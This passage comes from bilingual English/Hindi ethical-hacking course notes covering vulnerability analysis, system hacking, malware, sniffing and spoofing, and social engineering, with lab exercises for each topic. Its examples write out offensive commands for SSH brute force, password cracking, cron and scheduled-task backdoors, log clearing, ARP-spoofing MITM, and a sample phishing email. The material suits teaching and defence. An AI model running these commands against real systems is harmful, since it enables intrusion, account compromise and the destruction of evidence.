      Shares    ──▶ File extraction
      Policies  ──▶ Misconfiguration
      Services  ──▶ CVE lookup
      DNS       ──▶ Attack surface
      Web dirs  ──▶ Hidden endpoints

निष्कर्ष: Enumeration port number को knowledge base में बदलता है। Usernames और shares credentials और files बन जाते हैं; group policies और services misconfiguration findings। यह सबसे noisy phases में से एक है, इसलिए testers probes throttle करते हैं और lockouts से बचते हैं। Defenders के लिए legacy protocols (NetBIOS, SNMP v1/v2) disable करना, anonymous LDAP queries restrict करना, और enumeration patterns monitor करना ज़रूरी है। Enumeration वह phase है जो following exploitation की success सबसे ज़्यादा तय करता है।
अभ्यास:
1. Lab Windows host पर enum4linux से shares list कीजिए।
2. "public" community string से SNMP walk attempt कीजिए।
3. DNS zone transfer perform करके risk समझाइए।
4. Lab web server पर gobuster से hidden directories खोजिए।
5. SMTP servers पर VRFY/EXPN disable क्यों होना चाहिए समझाइए।

6. Vulnerability Analysis

English

Problem: Enumeration produces a list of hosts, ports, and versions, but that alone does not tell you which of them are actually exploitable. Some services are patched, some are protected by compensating controls, some are honeypots. Blindly firing exploits leads to noise, downtime, and missed real weaknesses. A structured vulnerability analysis phase is needed to prioritise targets.
Definition: Vulnerability analysis is the systematic process of identifying and prioritising security weaknesses in systems, software, and configurations. It combines vulnerability scanning tools (which match software versions against known CVE databases), manual verification, and risk scoring (CVSS) to produce an actionable list.

Example: A typical vulnerability assessment workflow:

1. Authenticated scan with OpenVAS / Nessus
2. Web scan with Nikto + OWASP ZAP
3. Review CVEs from scan output
   - CVE-2021-44228 (Log4Shell)
   - CVE-2017-0144 (EternalBlue)
4. Verify manually (banner, exploit PoC in lab)
5. Score with CVSS v3.1
6. Prioritise by exposure, exploitability, business impact
7. Produce report with remediation steps

Types:

A. Approaches:

Type	Description
Active scanning	Send probes to identify issues (noisy).
Passive scanning	Observe traffic and monitor for known signatures.
Authenticated (credentialed) scan	Log in to see patch level, config, missing updates.
Unauthenticated scan	External view; matches what an attacker sees.
Static analysis (SAST)	Review source code for issues.
Dynamic analysis (DAST)	Test running application for vulnerabilities.

B. Common tools: Nessus, OpenVAS, Qualys, Nexpose, Nikto, OWASP ZAP, Burp Suite, sqlmap, Metasploit, Searchsploit.

C. Risk scoring: CVSS base score + temporal + environmental. Ratings: Low (0.1–3.9), Medium (4.0–6.9), High (7.0–8.9), Critical (9.0–10.0).

Advantages:
- Prioritises what actually matters.
- Provides evidence and proof (CVE, PoC).
- Identifies unpatched systems at scale.
- Supports compliance reporting.
- Enables measurable tracking over time.
- Feeds remediation workflow.
Disadvantages:
- Scanners generate false positives and false negatives.
- Can crash fragile services (SCADA, legacy apps).
- Uncredentialed scans miss patch-level detail.
- Requires verification by a human expert.
- Point-in-time; new CVEs appear daily.
Characteristics:
- Data-driven: CVE, CWE, CVSS, EPSS.
- Layered: Network, host, application, code.
- Continuous: Not one-off; integrated into CI/CD.
- Evidence-based: Every finding backed by reproduction.
- Business aware: Scores contextualised to exposure.

Diagram: Vulnerability management lifecycle

    Discover  ──▶  Assess  ──▶  Prioritise  ──▶  Remediate  ──▶  Verify
        ▲                                                              │
        └───────────────── Continuous loop ────────────────────────────┘

    Scoring (CVSS):

      Critical (9.0 – 10.0)  → fix immediately
      High     (7.0 – 8.9)   → fix within days
      Medium   (4.0 – 6.9)   → fix within weeks
      Low      (0.1 – 3.9)   → fix as scheduling allows

Conclusion: Vulnerability analysis turns the scan output of a network into a prioritised, business-aligned list of fixes. It combines automated scanning with human judgment to eliminate false positives and confirm real ones. Scoring with CVSS/EPSS lets teams focus on what matters most. In modern environments it is continuous, integrated into CI/CD for code, and into change management for infrastructure. Without it, patching becomes guesswork and testing becomes unverifiable.
Exercise:
1. Run Nikto against a lab web server and list the findings.
2. Look up CVE-2021-44228 and explain its CVSS score.
3. Compare authenticated and unauthenticated scans.
4. Explain the difference between SAST and DAST.
5. Prioritise five findings using CVSS scores.

हिंदी (सरल)

समस्या: Enumeration से hosts, ports, versions की list मिलती है, पर उनमें से कौन वाकई exploitable हैं यह नहीं पता चलता। कुछ services patched हैं, कुछ compensating controls से protected, कुछ honeypots। बिना सोचे exploits चलाने से noise, downtime और असली weaknesses miss होती हैं। Targets prioritise करने के लिए structured vulnerability analysis चाहिए।
परिभाषा: Vulnerability analysis systems, software और configurations में security weaknesses identify और prioritise करने की systematic process है। यह vulnerability scanning tools (जो software versions को known CVE databases से match करते हैं), manual verification और risk scoring (CVSS) को combine करके actionable list बनाती है।

उदाहरण: Typical vulnerability assessment workflow:

1. OpenVAS / Nessus से authenticated scan
2. Nikto + OWASP ZAP से web scan
3. Scan output से CVEs review
   - CVE-2021-44228 (Log4Shell)
   - CVE-2017-0144 (EternalBlue)
4. Manually verify (banner, exploit PoC lab में)
5. CVSS v3.1 से score
6. Exposure, exploitability, business impact से prioritise
7. Remediation steps के साथ report

प्रकार:

A. Approaches:

Type	विवरण
Active scanning	Probes भेजकर issues identify (noisy)।
Passive scanning	Traffic observe, known signatures monitor।
Authenticated (credentialed) scan	Login करके patch level, config, missing updates।
Unauthenticated scan	External view; attacker जैसा।
Static analysis (SAST)	Source code review।
Dynamic analysis (DAST)	Running application test।

B. Common tools: Nessus, OpenVAS, Qualys, Nexpose, Nikto, OWASP ZAP, Burp Suite, sqlmap, Metasploit, Searchsploit।

C. Risk scoring: CVSS base score + temporal + environmental। Ratings: Low (0.1–3.9), Medium (4.0–6.9), High (7.0–8.9), Critical (9.0–10.0)।

लाभ:
- जो वाकई matter करता है उसे prioritise।
- Evidence और proof (CVE, PoC)।
- बड़े scale पर unpatched systems।
- Compliance reporting support।
- समय के साथ measurable tracking।
- Remediation workflow feed।
नुकसान:
- Scanners false positives और false negatives।
- Fragile services (SCADA, legacy apps) crash।
- Uncredentialed scans patch-level detail miss।
- Human expert verification ज़रूरी।
- Point-in-time; रोज़ नए CVEs।
विशेषताएँ:
- Data-driven: CVE, CWE, CVSS, EPSS।
- Layered: Network, host, application, code।
- Continuous: One-off नहीं; CI/CD में integrated।
- Evidence-based: हर finding reproduction से backed।
- Business aware: Scores exposure से contextualised।

आरेख: Vulnerability management lifecycle

    Discover  ──▶  Assess  ──▶  Prioritise  ──▶  Remediate  ──▶  Verify
        ▲                                                              │
        └───────────────── Continuous loop ────────────────────────────┘

    Scoring (CVSS):

      Critical (9.0 – 10.0)  → तुरंत fix
      High     (7.0 – 8.9)   → दिनों में
      Medium   (4.0 – 6.9)   → हफ्तों में
      Low      (0.1 – 3.9)   → schedule के हिसाब से

निष्कर्ष: Vulnerability analysis network के scan output को prioritised, business-aligned fix list में बदलती है। यह automated scanning को human judgment के साथ combine करती है false positives हटाने और real ones confirm करने के लिए। CVSS/EPSS से scoring teams को सबसे ज़रूरी पर focus करने देती है। Modern environments में यह continuous है — code के लिए CI/CD में, infrastructure के लिए change management में। इसके बिना patching guesswork और testing unverifiable हो जाती है।
अभ्यास:
1. Lab web server पर Nikto चलाकर findings list कीजिए।
2. CVE-2021-44228 देखकर उसका CVSS score समझाइए।
3. Authenticated और unauthenticated scans compare कीजिए।
4. SAST और DAST का फर्क समझाइए।
5. पाँच findings को CVSS scores से prioritise कीजिए।

7. System Hacking

English

Problem: Once vulnerabilities are known, the attacker needs to turn them into access. Passwords must be cracked or bypassed, privileges elevated, and persistence established. Without these steps an exploit is only a momentary foothold, not a compromise.
Definition: System hacking is the phase where the attacker gains, escalates, and maintains access to a system. It covers three stages: Gaining access (password attacks, exploitation), Escalating privileges (local exploits, misconfigurations), and Maintaining access (backdoors, rootkits, scheduled tasks). Finally, covering tracks erases evidence.

Example: Password and privilege escalation:

# Password attacks
hydra -l admin -P rockyou.txt ssh://192.168.1.10
john --wordlist=rockyou.txt hashes.txt
hashcat -m 1000 ntlm.txt rockyou.txt

# Privilege escalation (Linux)
sudo -l                     # what can we sudo?
find / -perm -4000 2>/dev/null   # SUID binaries
uname -a                    # kernel → searchsploit

# Persistence
echo "@reboot /tmp/.backdoor" | crontab -
# Windows: schtasks /create /sc onlogon /tn backdoor /tr evil.exe

# Cover tracks
history -c
rm ~/.bash_history
wevtutil cl Security       # Windows event log (requires admin)

Types:

A. Password attacks:

Type	Description
Brute force	Try every combination (slow).
Dictionary	Try words from a list (fast, effective).
Hybrid	Dictionary + variations (leet, suffixes).
Rule-based	Hashcat rules to mutate words.
Rainbow tables	Precomputed hashes (defeated by salting).
Pass-the-hash	Use NTLM hash directly, no cracking.
Credential stuffing	Reuse leaked creds from other breaches.

B. Privilege escalation: kernel exploits, misconfigured SUID/sudo, unquoted service paths, weak service permissions, stored credentials, token impersonation.

C. Maintaining access: backdoors, rootkits, web shells, scheduled tasks, cron jobs, service accounts, RDP/VPN persistence.

Advantages:
- Converts an exploit into real access.
- Privilege escalation reveals the depth of impact.
- Persistence tests show how long an intruder could remain undetected.
- Provides concrete evidence for the report.
- Tests detection and response capabilities.
Disadvantages:
- High risk of service disruption.
- Password spraying can lock accounts.
- Backdoors may not be fully cleaned up.
- Rootkits can hide deeply and cause instability.
- Requires careful documentation for cleanup.
Characteristics:
- Iterative: Gaining access, escalating, persisting in cycles.
- OS-specific: Windows vs Linux techniques differ.
- Time-bound: Must respect engagement window.
- Documented: Every action logged for cleanup and reporting.
- Ethical line: Never exfiltrate real data.

Diagram: System hacking stages

    ┌───────────────────┐
    │ 1. Gaining Access │  Passwords, exploits
    └─────────┬─────────┘
              ▼
    ┌───────────────────┐
    │ 2. Privilege      │  SUID, kernel, misconfig
    │    Escalation     │
    └─────────┬─────────┘
              ▼
    ┌───────────────────┐
    │ 3. Maintaining    │  Backdoors, rootkits,
    │    Access         │  cron, scheduled tasks
    └─────────┬─────────┘
              ▼
    ┌───────────────────┐
    │ 4. Covering Tracks│  Clear logs, hide files
    └───────────────────┘

Conclusion: System hacking is where theory becomes a real breach. Password attacks, privilege escalation and persistence are the techniques that turn a single vulnerability into a compromised environment. For testers, discipline is critical: document every step, avoid destructive payloads, and clean up backdoors. For defenders, the lesson is that password hygiene, least privilege, patching, and log integrity are the true barriers. Detection at this phase is much easier than cleaning up afterwards.
Exercise:
1. Crack a lab password hash with John the Ripper and a wordlist.
2. Enumerate SUID binaries on a Linux lab host and find one escalation path.
3. Create a scheduled task persistence in a lab Windows VM.
4. Explain pass-the-hash and why it bypasses cracking.
5. List three artefacts that cover tracks and how to detect them.

हिंदी (सरल)

समस्या: Vulnerabilities पता होने पर attacker को उन्हें access में बदलना होता है। Passwords crack या bypass करें, privileges escalate करें, और persistence establish करें। इन steps के बिना exploit सिर्फ momentary foothold है, compromise नहीं।
परिभाषा: System hacking वह phase है जहाँ attacker system में access gain, escalate और maintain करता है। तीन stages: Gaining access (password attacks, exploitation), Escalating privileges (local exploits, misconfigurations), और Maintaining access (backdoors, rootkits, scheduled tasks)। अंत में covering tracks evidence मिटाता है।

उदाहरण: Password और privilege escalation:

# Password attacks
hydra -l admin -P rockyou.txt ssh://192.168.1.10
john --wordlist=rockyou.txt hashes.txt
hashcat -m 1000 ntlm.txt rockyou.txt

# Privilege escalation (Linux)
sudo -l                     # क्या sudo कर सकते हैं?
find / -perm -4000 2>/dev/null   # SUID binaries
uname -a                    # kernel → searchsploit

# Persistence
echo "@reboot /tmp/.backdoor" | crontab -
# Windows: schtasks /create /sc onlogon /tn backdoor /tr evil.exe

# Cover tracks
history -c
rm ~/.bash_history
wevtutil cl Security       # Windows event log (admin चाहिए)

प्रकार:

A. Password attacks:

Type	विवरण
Brute force	हर combination try (slow)।
Dictionary	List से words try (fast, effective)।
Hybrid	Dictionary + variations (leet, suffixes)।
Rule-based	Hashcat rules से words mutate।
Rainbow tables	Precomputed hashes (salting से defeated)।
Pass-the-hash	NTLM hash directly use, cracking नहीं।
Credential stuffing	दूसरे breaches के leaked creds reuse।

B. Privilege escalation: kernel exploits, misconfigured SUID/sudo, unquoted service paths, weak service permissions, stored credentials, token impersonation।

C. Maintaining access: backdoors, rootkits, web shells, scheduled tasks, cron jobs, service accounts, RDP/VPN persistence।

लाभ:
- Exploit को real access में बदलता है।
- Privilege escalation impact की depth दिखाता है।
- Persistence tests दिखाते हैं intruder कितने समय तक undetected रह सकता था।
- Report के लिए concrete evidence।
- Detection और response capabilities test।
नुकसान:
- Service disruption का high risk।
- Password spraying accounts lock कर सकता है।
- Backdoors पूरी तरह clean न हो सकें।
- Rootkits गहराई तक छिप सकते हैं और instability।
- Cleanup के लिए careful documentation।
विशेषताएँ:
- Iterative: Gaining, escalating, persisting cycles में।
- OS-specific: Windows vs Linux techniques अलग।
- Time-bound: Engagement window respect।
- Documented: हर action log (cleanup और report के लिए)।
- Ethical line: Real data exfiltrate नहीं।

आरेख: System hacking stages

    ┌───────────────────┐
    │ 1. Gaining Access │  Passwords, exploits
    └─────────┬─────────┘
              ▼
    ┌───────────────────┐
    │ 2. Privilege      │  SUID, kernel, misconfig
    │    Escalation     │
    └─────────┬─────────┘
              ▼
    ┌───────────────────┐
    │ 3. Maintaining    │  Backdoors, rootkits,
    │    Access         │  cron, scheduled tasks
    └─────────┬─────────┘
              ▼
    ┌───────────────────┐
    │ 4. Covering Tracks│  Logs clear, files छिपाएँ
    └───────────────────┘

निष्कर्ष: System hacking वह जगह है जहाँ theory real breach बनती है। Password attacks, privilege escalation और persistence वे techniques हैं जो एक vulnerability को compromised environment में बदल देती हैं। Testers के लिए discipline ज़रूरी: हर step document करें, destructive payloads से बचें, backdoors clean करें। Defenders के लिए सबक यह है कि password hygiene, least privilege, patching और log integrity असली barriers हैं। इस phase पर detection बाद में cleanup से कहीं आसान है।
अभ्यास:
1. Lab password hash John the Ripper से crack कीजिए।
2. Linux lab host पर SUID binaries enumerate करके एक escalation path ढूँढिए।
3. Lab Windows VM में scheduled task persistence बनाइए।
4. Pass-the-hash समझाइए और cracking क्यों bypass होता है।
5. तीन artefacts बताइए जो tracks cover करते हैं और उन्हें detect कैसे करें।

8. Malware – Viruses, Worms, Trojans, Ransomware

English

Problem: Attackers rarely get what they want from a single exploit. They need code that runs on the victim, hides, spreads, steals data, or encrypts files for ransom. Malware is the family of such code. Understanding how each type spreads and behaves is essential for both attackers (to choose the right tool) and defenders (to detect and stop them).
Definition: Malware (malicious software) is any program designed to damage, disrupt, gain unauthorised access, or otherwise harm a system. Main categories: virus, worm, trojan, ransomware, rootkit, spyware, adware, keylogger, botnet agent, fileless malware.

Example: Well-known malware families:

Virus        : Melissa (1999), CIH / Chernobyl (1998)
Worm         : Morris worm (1988), WannaCry (2017)
Trojan       : Zeus banking trojan, RATs, Emotet
Ransomware   : WannaCry, LockBit, Conti, REvil
Rootkit      : Sony BMG rootkit (2005), TDL-4
Spyware      : Pegasus, FinFisher, keyloggers
Fileless     : PowerShell Empire, Cobalt Strike beacons

Types:

Type	Spreads Via	Needs Host?	Key Trait
Virus	Infected file, user runs it	Yes	Attaches to files
Worm	Network, no user needed	No	Self-propagating
Trojan	Disguised as legit software	Yes	User installs it
Ransomware	Trojan + worm (often)	Yes	Encrypts files, demands payment
Rootkit	Various	Yes	Hides itself deeply
Spyware / Keylogger	Bundled, phishing	Yes	Steals data silently
Adware	Bundled	Yes	Shows unwanted ads
Botnet agent	Worm / trojan	Yes	Remote-controlled
Fileless	Uses OS tools (PowerShell, WMI)	No file on disk	Hard to detect

Advantages (to attackers, in context of the test):
- Bypasses user defences (trojans rely on trust).
- Worms spread without interaction at scale.
- Ransomware creates high-impact crisis.
- Rootkits hide presence for long-term espionage.
- Fileless malware evades traditional antivirus.
- Botnets provide DDoS and proxy capacity.
Disadvantages (to attackers):
- Antivirus and EDR detect signatures and behaviour.
- Sandboxes analyse and block unknown binaries.
- Large-scale worms trigger urgent patching.
- Ransomware draws law-enforcement attention.
- Persistence leaves forensic evidence.
- Attribution tools (TLSH, YARA) identify families.
Characteristics:
- Delivery: Email attachment, drive-by download, USB, exploit kit, supply chain.
- Payload: Data theft, encryption, remote control, espionage, spam.
- Persistence: Registry Run keys, cron, services, startup folder.
- Evasion: Packing, obfuscation, polymorphism, anti-VM, anti-debug.
- Command & Control: HTTP/S, DNS, Telegram, Tor, C2 frameworks.
- Lateral movement: SMB, RDP, WMI, PSExec, pass-the-hash.

Diagram: Malware kill chain

    1. Delivery     →  Email / USB / exploit kit / supply chain
           │
           ▼
    2. Execution    →  User runs file / document macro
           │
           ▼
    3. Persistence  →  Run keys, cron, services
           │
           ▼
    4. C2           →  Beacon to attacker server
           │
           ▼
    5. Actions      →  Theft, encryption, lateral, DDoS

    Virus vs Worm:

      Virus:  needs a host file + user action
      Worm:   standalone, spreads across network

Conclusion: Malware is the payload of most modern attacks. Viruses need a host and a user; worms spread automatically; trojans rely on deception; ransomware encrypts and demands payment; rootkits hide; fileless malware leaves almost no trace. Defenders layer controls: email filtering, EDR, application whitelisting, sandboxing, patch management, backups, and user awareness. For testers, malware is used sparingly and ethically — never outside scope, never against real targets — and always with cleanup plans.
Exercise:
1. Differentiate virus, worm, trojan and ransomware in a table.
2. Explain how a macro in a Word document executes malware.
3. List three persistence mechanisms for Windows and Linux.
4. Describe how ransomware encrypts and demands payment.
5. Give two examples of fileless malware techniques.

हिंदी (सरल)

समस्या: Attackers को single exploit से मनचाहा नहीं मिलता। उन्हें victim पर चलने वाला code चाहिए जो छिपे, फैले, data चुराए या ransom के लिए files encrypt करे। Malware ऐसे code का परिवार है। हर type का spread और behaviour समझना attackers (सही tool चुनने के लिए) और defenders (detect और stop करने के लिए) दोनों के लिए ज़रूरी है।
परिभाषा: Malware (malicious software) कोई भी program है जो system को damage, disrupt, unauthorised access या harm करने के लिए बना हो। मुख्य categories: virus, worm, trojan, ransomware, rootkit, spyware, adware, keylogger, botnet agent, fileless malware।

उदाहरण: प्रसिद्ध malware families:

Virus        : Melissa (1999), CIH / Chernobyl (1998)
Worm         : Morris worm (1988), WannaCry (2017)
Trojan       : Zeus banking trojan, RATs, Emotet
Ransomware   : WannaCry, LockBit, Conti, REvil
Rootkit      : Sony BMG rootkit (2005), TDL-4
Spyware      : Pegasus, FinFisher, keyloggers
Fileless     : PowerShell Empire, Cobalt Strike beacons

प्रकार:

Type	कैसे फैलता है	Host चाहिए?	Key Trait
Virus	Infected file, user चलाए	Yes	Files से attach
Worm	Network, user नहीं चाहिए	No	Self-propagating
Trojan	Legit software के रूप में	Yes	User install करे
Ransomware	Trojan + worm (अक्सर)	Yes	Files encrypt, payment मांगे
Rootkit	Various	Yes	गहराई तक छिपे
Spyware / Keylogger	Bundled, phishing	Yes	Data चुपके से चुराए
Adware	Bundled	Yes	Unwanted ads
Botnet agent	Worm / trojan	Yes	Remote-controlled
Fileless	OS tools (PowerShell, WMI)	Disk पर file नहीं	Detect करना कठिन

लाभ (attackers के लिए, test के context में):
- User defences bypass (trojans trust पर)।
- Worms बिना interaction scale पर फैलते हैं।
- Ransomware high-impact crisis।
- Rootkits long-term espionage के लिए छिपे।
- Fileless malware traditional antivirus bypass।
- Botnets DDoS और proxy capacity।
नुकसान (attackers के लिए):
- Antivirus और EDR signatures और behaviour detect।
- Sandboxes unknown binaries analyse और block।
- बड़े worms से urgent patching।
- Ransomware law-enforcement attention।
- Persistence से forensic evidence।
- Attribution tools (TLSH, YARA) families identify।
विशेषताएँ:
- Delivery: Email attachment, drive-by download, USB, exploit kit, supply chain।
- Payload: Data theft, encryption, remote control, espionage, spam।
- Persistence: Registry Run keys, cron, services, startup folder।
- Evasion: Packing, obfuscation, polymorphism, anti-VM, anti-debug।
- Command & Control: HTTP/S, DNS, Telegram, Tor, C2 frameworks।
- Lateral movement: SMB, RDP, WMI, PSExec, pass-the-hash।

आरेख: Malware kill chain

    1. Delivery     →  Email / USB / exploit kit / supply chain
           │
           ▼
    2. Execution    →  User file चलाए / document macro
           │
           ▼
    3. Persistence  →  Run keys, cron, services
           │
           ▼
    4. C2           →  Attacker server को beacon
           │
           ▼
    5. Actions      →  Theft, encryption, lateral, DDoS

    Virus vs Worm:

      Virus:  host file + user action चाहिए
      Worm:   standalone, network पर फैलता है

निष्कर्ष: Malware आधुनिक attacks का payload है। Viruses को host और user चाहिए; worms अपने आप फैलते हैं; trojans deception पर निर्भर; ransomware encrypt करके payment माँगता है; rootkits छिपते हैं; fileless malware लगभग कोई trace नहीं छोड़ता। Defenders layered controls लगाते हैं: email filtering, EDR, application whitelisting, sandboxing, patch management, backups, और user awareness। Testers के लिए malware sparingly और ethically use होता है — scope के बाहर कभी नहीं, real targets पर कभी नहीं — और हमेशा cleanup plans के साथ।
अभ्यास:
1. Virus, worm, trojan और ransomware को table में differentiate कीजिए।
2. Word document में macro से malware कैसे execute होता है समझाइए।
3. Windows और Linux के लिए तीन persistence mechanisms list कीजिए।
4. Ransomware encrypt और payment कैसे मांगता है describe कीजिए।
5. Fileless malware की दो techniques का उदाहरण दीजिए।

9. Sniffing & Spoofing

English

Problem: Networks are shared media (especially Wi-Fi and older Ethernet hubs). An attacker on the same segment can capture every packet and read sensitive data — passwords, session cookies, credit cards — if traffic is unencrypted. Attackers can also forge the source of packets to hide their identity or impersonate others.
Definition: Sniffing is capturing network traffic passively. In promiscuous mode a NIC accepts all packets on the segment, not just those addressed to it. Spoofing is forging packet fields (source IP, MAC, DNS, email) to impersonate another host or bypass trust relationships.

Example: Classic sniffing attacks:

# Passive capture
tcpdump -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http.request"

# ARP spoofing (MITM)
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1  192.168.1.10

# MAC flooding (hubs/switches)
macof -i eth0

# DNS spoofing (with ettercap)
ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.10//

Types:

A. Sniffing types:

Type	Description
Passive	Just monitor; no packets sent.
Active	Inject traffic to trigger responses (e.g., switch flooding).
Wired sniffing	Segment-level; hubs easy; switches need ARP/MAC tricks.
Wireless sniffing	Monitor mode on Wi-Fi; capture beacons and data.
MITM	Placed between two hosts; can read and modify.

B. Spoofing types: IP spoofing, MAC spoofing, ARP spoofing, DNS spoofing, DHCP spoofing, email spoofing, caller ID spoofing.

C. Sniffing tools: Wireshark, tcpdump, tshark, ettercap, Bettercap, dsniff, Kismet, Aircrack-ng (wireless).

Advantages (attacker perspective):
- Passive sniffing is silent — no logs on target.
- Captures plaintext credentials and session tokens.
- Spoofing enables MITM, bypasses IP allowlists.
- Reveals network topology and protocols.
- Feeds password and session attacks.
Disadvantages:
- Modern networks use switches, not hubs.
- TLS/HTTPS defeats passive sniffing.
- Static ARP entries and DHCP snooping block ARP spoofing.
- Wireless encryption (WPA2/3) protects data.
- Detection tools (arpwatch, NDR) catch MITM.
- Very noisy when active.
Characteristics:
- Promiscuous mode: NIC reads all frames on the segment.
- Switch behaviour: Frames go only to the destination port (or flood if unknown).
- ARP trust: No authentication; easily poisoned.
- Encryption is the answer: TLS, SSH, WPA3, VPNs.
- Defence in depth: DAI, port security, static ARP.

Diagram: ARP spoofing MITM

    Normal path:

      Victim (192.168.1.10)  ──▶  Gateway (192.168.1.1)  ──▶  Internet

    ARP spoof (MITM):

      Victim  ──▶  Attacker  ──▶  Gateway  ──▶  Internet
                    (forwards and reads)

    Attacker tells victim:
      "I am the gateway" (MAC of attacker)
    Attacker tells gateway:
      "I am the victim"  (MAC of attacker)

    Result: all traffic passes through attacker.

    Defence: Dynamic ARP Inspection (DAI), static ARP,
             port security, encrypted protocols (HTTPS).

Conclusion: Sniffing and spoofing were devastating in the era of hubs and plaintext protocols; today they remain potent on poorly configured switches, wireless networks, and internal segments. The universal defence is encryption: HTTPS, SSH, VPNs, WPA3 make captured bytes useless. Secondary defences are Dynamic ARP Inspection, DHCP snooping, port security, static ARP entries, and network monitoring. For penetration testers, sniffing is used to prove that plaintext traffic and weak switch controls expose sensitive data.
Exercise:
1. Capture HTTP traffic with tcpdump and extract credentials from the pcap.
2. Perform ARP spoofing in a lab and observe MITM with Wireshark.
3. Explain how a switch defeats passive sniffing.
4. Describe two defences against ARP spoofing.
5. Show why TLS prevents credential capture even under MITM.

हिंदी (सरल)

समस्या: Networks shared media हैं (खासकर Wi-Fi और पुराने Ethernet hubs)। Same segment पर attacker हर packet capture कर सकता है और sensitive data — passwords, session cookies, credit cards — पढ़ सकता है अगर traffic unencrypted हो। Attackers packets का source भी forge कर सकते हैं ताकि identity छिपाएँ या दूसरों का impersonate करें।
परिभाषा: Sniffing network traffic passively capture करना है। Promiscuous mode में NIC segment के सभी packets लेता है, सिर्फ अपने address वाले नहीं। Spoofing packet fields (source IP, MAC, DNS, email) forge करना है ताकि दूसरे host का impersonate करें या trust relationships bypass करें।

उदाहरण: Classic sniffing attacks:

# Passive capture
tcpdump -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http.request"

# ARP spoofing (MITM)
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1  192.168.1.10

# MAC flooding (hubs/switches)
macof -i eth0

# DNS spoofing (with ettercap)
ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.10//

प्रकार:

A. Sniffing types:

Type	विवरण
Passive	सिर्फ monitor; packets नहीं भेजे।
Active	Traffic inject करके responses trigger (switch flooding)।
Wired sniffing	Segment level; hubs आसान; switches के लिए ARP/MAC tricks।
Wireless sniffing	Wi-Fi पर monitor mode; beacons और data।
MITM	दो hosts के बीच; पढ़ और modify कर सकते हैं।

B. Spoofing types: IP spoofing, MAC spoofing, ARP spoofing, DNS spoofing, DHCP spoofing, email spoofing, caller ID spoofing।

C. Sniffing tools: Wireshark, tcpdump, tshark, ettercap, Bettercap, dsniff, Kismet, Aircrack-ng (wireless)।

लाभ (attacker perspective):
- Passive sniffing silent — target पर logs नहीं।
- Plaintext credentials और session tokens।
- Spoofing MITM enable, IP allowlists bypass।
- Network topology और protocols reveal।
- Password और session attacks feed।
नुकसान:
- Modern networks switches use करते हैं, hubs नहीं।
- TLS/HTTPS passive sniffing defeat।
- Static ARP entries और DHCP snooping ARP spoofing block।
- Wireless encryption (WPA2/3) data protect।
- Detection tools (arpwatch, NDR) MITM catch।
- Active बहुत noisy।
विशेषताएँ:
- Promiscuous mode: NIC segment के सभी frames पढ़े।
- Switch behaviour: Frames सिर्फ destination port को (या unknown पर flood)।
- ARP trust: कोई authentication नहीं; आसानी से poison।
- Encryption जवाब है: TLS, SSH, WPA3, VPNs।
- Defence in depth: DAI, port security, static ARP।

आरेख: ARP spoofing MITM

    Normal path:

      Victim (192.168.1.10)  ──▶  Gateway (192.168.1.1)  ──▶  Internet

    ARP spoof (MITM):

      Victim  ──▶  Attacker  ──▶  Gateway  ──▶  Internet
                    (forward और read)

    Attacker victim को बताता है:
      "मैं gateway हूँ" (attacker का MAC)
    Attacker gateway को बताता है:
      "मैं victim हूँ"  (attacker का MAC)

    Result: सारा traffic attacker से गुज़रता है।

    Defence: Dynamic ARP Inspection (DAI), static ARP,
             port security, encrypted protocols (HTTPS)।

निष्कर्ष: Sniffing और spoofing hubs और plaintext protocols के युग में devastating थे; आज भी poorly configured switches, wireless networks और internal segments पर potent हैं। Universal defence है encryption: HTTPS, SSH, VPNs, WPA3 captured bytes को बेकार बना देते हैं। Secondary defences: Dynamic ARP Inspection, DHCP snooping, port security, static ARP entries, network monitoring। Penetration testers के लिए sniffing यह साबित करने के लिए use होती है कि plaintext traffic और weak switch controls sensitive data expose करते हैं।
अभ्यास:
1. tcpdump से HTTP traffic capture करके pcap से credentials निकालिए।
2. Lab में ARP spoofing करके Wireshark से MITM observe कीजिए।
3. Switch passive sniffing कैसे defeat करता है समझाइए।
4. ARP spoofing के दो defences describe कीजिए।
5. दिखाइए कि MITM में भी TLS credential capture रोकता है।

10. Social Engineering

English

Problem: Technical controls are strong today. Firewalls, EDR, MFA and encryption make many direct attacks impractical. The weakest link is often people: they click links, reuse passwords, hold doors, and trust authority. Attackers exploit human psychology to bypass every technical control. Organisations need to test this channel, not just networks.
Definition: Social engineering is the use of psychological manipulation to trick people into revealing information, granting access, or performing actions that compromise security. It is hacking the human rather than the machine.

Example: Common pretexts:

Phishing email:
  From: it-support@company.com (spoofed)
  Subject: Urgent: password expires in 1 hour
  Body: Click here to reset: http://evil-login.com
  Attachment: Invoice.pdf.exe

Vishing (voice):
  "This is your bank. We detected fraud. Read me the OTP."

Pretexting:
  "I'm a new employee, I lost my badge, can you hold the door?"

Baiting:
  USB drive labelled "Payroll Q4" left in the parking lot.

Tailgating:
  Follow an employee through the secure door.

Types:

Type	Channel	Example
Phishing	Email	Mass credential theft
Spear phishing	Email (targeted)	CEO-to-CFO wire request
Whaling	Email to executives	Fake board memo
Vishing	Voice call	Fake bank, OTP harvest
Smishing	SMS	Package delivery link
Pretexting	Any	Fabricated scenario
Baiting	Physical / digital	Infected USB, free download
Tailgating	Physical	Follow through secure door
Quid pro quo	Any	"I'll fix your PC if you…"
Watering hole	Website	Compromise site frequented by targets

Advantages (attacker perspective):
- Bypasses technical controls.
- Cheap and scalable (mass phishing).
- Highly effective with current events.
- Provides initial access for malware and lateral movement.
- Exploits trust, urgency, authority, curiosity.
Disadvantages (attacker perspective):
- Requires good social skills and research.
- Email filters and security awareness training reduce success.
- MFA limits credential-only compromises.
- Risky in physical settings (cameras, guards).
- Success depends on user behaviour.
Characteristics:
- Psychological principles: authority, urgency, scarcity, social proof, reciprocity, likeability, fear.
- Pretexting: A believable story or role.
- OSINT-driven: Emails, org chart, events.
- Multi-channel: Email → SMS → call → in-person.
- Blends with technical: Phishing delivers malware or credential pages.

Diagram: Social engineering kill chain

    1. Reconnaissance   →  OSINT: emails, roles, events
             │
             ▼
    2. Pretext          →  Believable story
             │
             ▼
    3. Delivery         →  Email / call / SMS / USB / door
             │
             ▼
    4. Exploitation     →  Click, credential entry, badge
             │
             ▼
